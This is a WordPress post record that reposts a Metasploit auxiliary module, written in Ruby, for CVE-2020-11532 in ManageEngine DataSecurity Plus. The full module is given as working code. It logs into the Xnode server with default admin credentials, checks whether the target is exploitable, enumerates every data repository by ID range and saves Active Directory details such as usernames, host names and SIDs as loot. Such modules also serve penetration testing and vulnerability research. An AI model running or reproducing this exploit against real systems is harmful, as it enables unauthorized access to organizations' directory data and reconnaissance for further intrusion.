{"id":59299,"date":"2024-08-31T23:40:42","date_gmt":"2024-08-31T20:40:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180701\/manageengine_datasecurity_plus_xnode_enum.rb.txt"},"modified":"2024-08-31T23:40:42","modified_gmt":"2024-08-31T20:40:42","slug":"manageengine-datasecurity-plus-xnode-enumeration","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/manageengine-datasecurity-plus-xnode-enumeration\/","title":{"rendered":"ManageEngine DataSecurity Plus Xnode Enumeration"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::ManageEngineXnode<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::Tcp<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(_info = {})<br \/>super(<br \/>&#8216;Name&#8217; =&gt; &#8216;ManageEngine DataSecurity Plus Xnode Enumeration&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits default admin credentials for the DataEngine<br \/>Xnode server in DataSecurity Plus versions prior to 6.0.1 (6011)<br \/>in order to dump the contents of Xnode data repositories (tables),<br \/>which may contain (a limited amount of) Active Directory<br \/>information including domain names, host names, usernames and SIDs.<br \/>This module can also be used against patched DataSecurity Plus<br \/>versions if the correct credentials are provided.<\/p>\n<p>By default, this module dumps only the data repositories and fields<br \/>(columns) specified in the configuration file (set via the<br \/>CONFIG_FILE option). The configuration file is also used to<br \/>add labels to the values sent by Xnode in response to a query.<\/p>\n<p>It is also possible to use the DUMP_ALL option to obtain all data<br \/>in all known data repositories without specifying data field names.<br \/>However, note that when using the DUMP_ALL option, the data won&#8217;t be labeled.<\/p>\n<p>This module has been successfully tested against ManageEngine<br \/>DataSecurity Plus 6.0.1 (6010) running on Windows Server 2012 R2.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Sahil Dhar&#8217;, # discovery and PoC (for authentication only)<br \/>&#8216;Erik Wynter&#8217;, # @wyntererik &#8211; additional research and Metasploit<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2020-11532&#8217;],<br \/>[&#8216;PACKETSTORM&#8217;, &#8216;157609&#8217;],<br \/>],<br \/>)<br \/>register_options [<br \/>OptString.new(&#8216;CONFIG_FILE&#8217;, [false, &#8216;YAML file specifying the data repositories (tables) and fields (columns) to dump&#8217;, File.join(Msf::Config.data_directory, &#8216;exploits&#8217;, &#8216;manageengine_xnode&#8217;, &#8216;CVE-2020-11532&#8217;, &#8216;datasecurity_plus_xnode_conf.yaml&#8217;)]),<br \/>OptBool.new(&#8216;DUMP_ALL&#8217;, [false, &#8216;Dump all data from the available data repositories (tables). If true, CONFIG_FILE will be ignored.&#8217;, false]),<br \/>Opt::RPORT(29119)<br \/>]end<\/p>\n<p>def config_file<br \/>datastore[&#8216;CONFIG_FILE&#8217;].to_s # in case it is nil<br \/>end<\/p>\n<p>def dump_all<br \/>datastore[&#8216;DUMP_ALL&#8217;]end<\/p>\n<p>def username<br \/>datastore[&#8216;USERNAME&#8217;]end<\/p>\n<p>def password<br \/>datastore[&#8216;PASSWORD&#8217;]end<\/p>\n<p>def check<br \/># create a socket<br \/>res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)<br \/>if res_code == 1<br \/>return Exploit::CheckCode::Unknown(sock_or_msg)<br \/>end<\/p>\n<p>@sock = sock_or_msg<\/p>\n<p># perform basic checks to see if Xnode is running and if so, if it is exploitable<br \/>res_code, res_msg = xnode_check(@sock, username, password)<br \/>case res_code<br \/>when 0<br \/>return Exploit::CheckCode::Appears(res_msg)<br \/>when 1<br \/>return Exploit::CheckCode::Safe(res_msg)<br \/>when 2<br \/>return Exploit::CheckCode::Unknown(res_msg)<br \/>else<br \/>return Exploit::CheckCode::Unknown(&#8216;An unexpected error occurred whilst running this module. Please raise a bug ticket!&#8217;)<br \/>end<br \/>end<\/p>\n<p># noinspection RubyMismatchedArgumentType<br \/>def run<br \/># check if we already have a socket, if not, create one<br \/>unless @sock<br \/># create a socket<br \/>res_code, sock_or_msg = create_socket_for_xnode(rhost, rport)<br \/>if res_code == 1<br \/>fail_with(Failure::Unreachable, sock_or_msg)<br \/>end<br \/>@sock = sock_or_msg<br \/>end<\/p>\n<p># get the Xnode health status<br \/>health_warning_message = [&#8216;Received unexpected response while trying to obtain the Xnode &#8220;de_health&#8221; status. Enumeration may not work.&#8217;]res_code, res_health = get_response(@sock, action_admin_health, health_warning_message, &#8216;de_health&#8217;)<\/p>\n<p>if res_code == 0<br \/>if res_health[&#8216;response&#8217;][&#8216;de_health&#8217;] == &#8216;GREEN&#8217;<br \/>print_status(&#8216;Obtained expected Xnode &#8220;de_health&#8221; status: &#8220;GREEN&#8221;.&#8217;)<br \/>else<br \/>print_warning(&#8220;Obtained unexpected Xnode \\&#8221;de_health\\&#8221; status: \\&#8221;#{res_health[&#8216;response&#8217;][&#8216;de_health&#8217;]}\\&#8221;&#8221;)<br \/>end<br \/>end<\/p>\n<p># get the Xnode info<br \/>info_warning_message = [&#8216;Received unexpected response while trying to obtain the Xnode version and installation path via the &#8220;xnode_info&#8221; action. Enumeration may not work.&#8217;]res_code, res_info = get_response(@sock, action_xnode_info, info_warning_message)<\/p>\n<p>if res_code == 0<br \/>if res_info[&#8216;response&#8217;].keys.include?(&#8216;xnode_version&#8217;)<br \/>print_status(&#8220;Target is running Xnode version: \\&#8221;#{res_info[&#8216;response&#8217;][&#8216;xnode_version&#8217;]}\\&#8221;.&#8221;)<br \/>else<br \/>print_warning(&#8216;Failed to obtain the Xnode version.&#8217;)<br \/>end<\/p>\n<p>if res_info[&#8216;response&#8217;].keys.include?(&#8216;xnode_installation_path&#8217;)<br \/>print_status(&#8220;Obtained Xnode installation path: \\&#8221;#{res_info[&#8216;response&#8217;][&#8216;xnode_installation_path&#8217;]}\\&#8221;.&#8221;)<br \/>else<br \/>print_warning(&#8216;Failed to obtain the Xnode installation path.&#8217;)<br \/>end<br \/>end<\/p>\n<p># obtain the total number of records and the min and max record ID numbers for each repo, which is necessary to enumerate the records<br \/>repo_record_info_hash = {}<br \/>datasecurity_plus_data_repos.each do |repo|<br \/># send a general query, which should return the &#8220;total_hits&#8221; parameter that represents the total record count<br \/>res_code, res = get_response(@sock, action_dr_search(repo))<br \/>total_hits = process_dr_search(res, res_code, repo, [&#8216;UNIQUE_ID&#8217;], &#8216;total_hits&#8217;)<br \/># check if total_hits is nil, as that means process_dr_search failed and we should skip to the next repo<br \/>next if total_hits.nil?<\/p>\n<p>total_hits = total_hits.first<\/p>\n<p># use &#8220;aggr&#8221; with the &#8220;min&#8221; specification for the UNIQUE_ID field in order to obtain the minimum value for this field, i.e. the oldest available record<br \/>aggr_min_query = { &#8216;aggr&#8217; =&gt; { &#8216;min&#8217; =&gt; { &#8216;field&#8217; =&gt; &#8216;UNIQUE_ID&#8217; } } }<br \/>res_code, res = get_response(@sock, action_dr_search(repo, [&#8216;UNIQUE_ID&#8217;], aggr_min_query))<br \/>aggr_min = process_dr_search(res, res_code, repo, [&#8216;UNIQUE_ID&#8217;], &#8216;aggr_min&#8217;)<br \/># check if aggr_min is nil, as that means process_dr_search failed and we should skip to the next repo<br \/>next if aggr_min.nil?<\/p>\n<p>aggr_min = aggr_min.first<\/p>\n<p># use &#8220;aggr&#8221; with the &#8220;max&#8221; specification for the UNIQUE_ID field in order to obtain the maximum value for this field, i.e. the most recent record<br \/>aggr_max_query = { &#8216;aggr&#8217; =&gt; { &#8216;max&#8217; =&gt; { &#8216;field&#8217; =&gt; &#8216;UNIQUE_ID&#8217; } } }<br \/>res_code, res = get_response(@sock, action_dr_search(repo, [&#8216;UNIQUE_ID&#8217;], aggr_max_query))<br \/>aggr_max = process_dr_search(res, res_code, repo, [&#8216;UNIQUE_ID&#8217;], &#8216;aggr_max&#8217;)<br \/># check if aggr_max is nil, as that means process_dr_search failed and we should skip to the next repo<br \/>next if aggr_max.nil?<\/p>\n<p>aggr_max = aggr_max.first<\/p>\n<p>print_good(&#8220;Data repository #{repo} contains #{total_hits} records with ID numbers between #{aggr_min} and #{aggr_max}.&#8221;)<\/p>\n<p>repo_record_info_hash[repo] = {<br \/>&#8216;total_hits&#8217; =&gt; total_hits.to_i,<br \/>&#8216;aggr_min&#8217; =&gt; aggr_min.to_i,<br \/>&#8216;aggr_max&#8217; =&gt; aggr_max.to_i<br \/>}<br \/>end<\/p>\n<p># check if we found any repositories that contained any data<br \/>if repo_record_info_hash.empty?<br \/>print_error(&#8216;None of the repositories specified contained any data!&#8217;)<br \/>return<br \/>end<\/p>\n<p>if dump_all<br \/>data_to_dump = datasecurity_plus_data_repos<br \/>else<br \/>data_to_dump = grab_config(config_file)<\/p>\n<p>case data_to_dump<br \/>when config_status::CONFIG_FILE_DOES_NOT_EXIST<br \/>fail_with(Failure::BadConfig, &#8220;Unable to obtain the Xnode data repositories to target from #{config_file} because this file does not exist. Please correct your &#8216;CONFIG_FILE&#8217; setting or set &#8216;DUMP_ALL&#8217; to true.&#8221;)<br \/>when config_status::CANNOT_READ_CONFIG_FILE<br \/>fail_with(Failure::BadConfig, &#8220;Unable to read #{config_file}. Check if your &#8216;CONFIG_FILE&#8217; setting is correct and make sure the file is readable and properly formatted.&#8221;)<br \/>when config_status::DATA_TO_DUMP_EMPTY<br \/>fail_with(Failure::BadConfig, &#8220;The #{config_file} does not seem to contain any data repositories and fields to dump. Please fix your configuration or set &#8216;DUMP_ALL&#8217; to true.&#8221;)<br \/>when config_status::DATA_TO_DUMP_WRONG_FORMAT<br \/>fail_with(Failure::BadConfig, &#8220;Unable to obtain the Xnode data repositories to target from #{config_file}. The file doesn&#8217;t appear to contain valid data. Check if your &#8216;CONFIG_DIR&#8217; setting is correct or set &#8216;DUMP_ALL&#8217; to true.&#8221;)<br \/>end<br \/>end<\/p>\n<p># try and dump the database tables Xnode has access to<br \/>data_to_dump.each do |repo, fields|<br \/>if fields.blank? &amp;&amp; !dump_all<br \/>print_error(&#8220;Unable to obtain any fields for the data repository #{repo} to query. Skipping this table. Check your config file for this module if this is unintended behavior.&#8221;)<br \/>next<br \/>end<\/p>\n<p># check if we actually found any records for the repo<br \/>next unless repo_record_info_hash.include?(repo)<\/p>\n<p>total_hits = repo_record_info_hash[repo][&#8216;total_hits&#8217;]id_range_lower = repo_record_info_hash[repo][&#8216;aggr_min&#8217;]max_id = repo_record_info_hash[repo][&#8216;aggr_max&#8217;]\n<p>if total_hits.nil? || id_range_lower.nil? || max_id.nil?<br \/>print_error(&#8220;Unable to obtain the necessary fields for #{repo} from the repo_record_info_hash!&#8221;)<br \/>next<br \/>end<\/p>\n<p>if total_hits == 0<br \/>print_error(&#8220;No hits found for #{repo}!&#8221;)<br \/>next<br \/>end<\/p>\n<p>id_range_upper = id_range_lower + 9<br \/>query_ct = 0<\/p>\n<p>results = []print_status(&#8220;Attempting to request #{total_hits} records for data repository #{repo} between IDs #{id_range_lower} and #{max_id}. This could take a while&#8230;&#8221;)<br \/>hit_upper_limit = false<br \/>until hit_upper_limit<br \/># build a custom query for the unique_id range<br \/>custom_query = { &#8216;query&#8217; =&gt; &#8220;UNIQUE_ID:[#{id_range_lower} TO #{id_range_upper}]&#8221; }<br \/>query = action_dr_search(repo, fields, custom_query)<br \/>res_code, res = get_response(@sock, query)<br \/>partial_results = process_dr_search(res, res_code, repo, fields)<br \/>results += partial_results unless partial_results.nil?<\/p>\n<p>query_ct += 1<br \/>if query_ct % 5 == 0<br \/>print_status(&#8220;Processed #{query_ct} queries (max 10 records per query) so far. The last queried record ID was #{id_range_upper}. The max ID is #{max_id}&#8230;&#8221;)<br \/>end<\/p>\n<p># check if we have already queried the record with the maximum ID value, if so, we&#8217;re done<br \/>if id_range_upper == max_id<br \/>hit_upper_limit = true<br \/>else<br \/>id_range_lower += 10<br \/>id_range_upper += 10<br \/># make sure that id_range_upper never exceeds the maximum ID value<br \/>if id_range_upper &gt; max_id<br \/>id_range_upper = max_id<br \/>end<br \/>end<br \/>end<\/p>\n<p>if results.empty?<br \/>print_error(&#8220;No non-empty records were obtained for #{repo}.&#8221;)<br \/>next<br \/>end<\/p>\n<p>outfile_part = &#8220;xnode_#{repo.downcase}&#8221;<br \/>path = store_loot(outfile_part, &#8216;application\/json&#8217;, rhost, results.to_json, &#8220;#{repo}.json&#8221;)<br \/>print_good(&#8220;Saving #{results.length} records from the #{repo} data repository to #{path}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::ManageEngineXnodeinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(_info = {})super(&#8216;Name&#8217; =&gt; &#8216;ManageEngine DataSecurity Plus Xnode Enumeration&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits default admin credentials for the DataEngineXnode server in DataSecurity Plus versions prior to 6.0.1 (6011)in order to dump the contents of Xnode data repositories &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59299","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59299","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59299"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59299\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59299"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59299"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59299"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}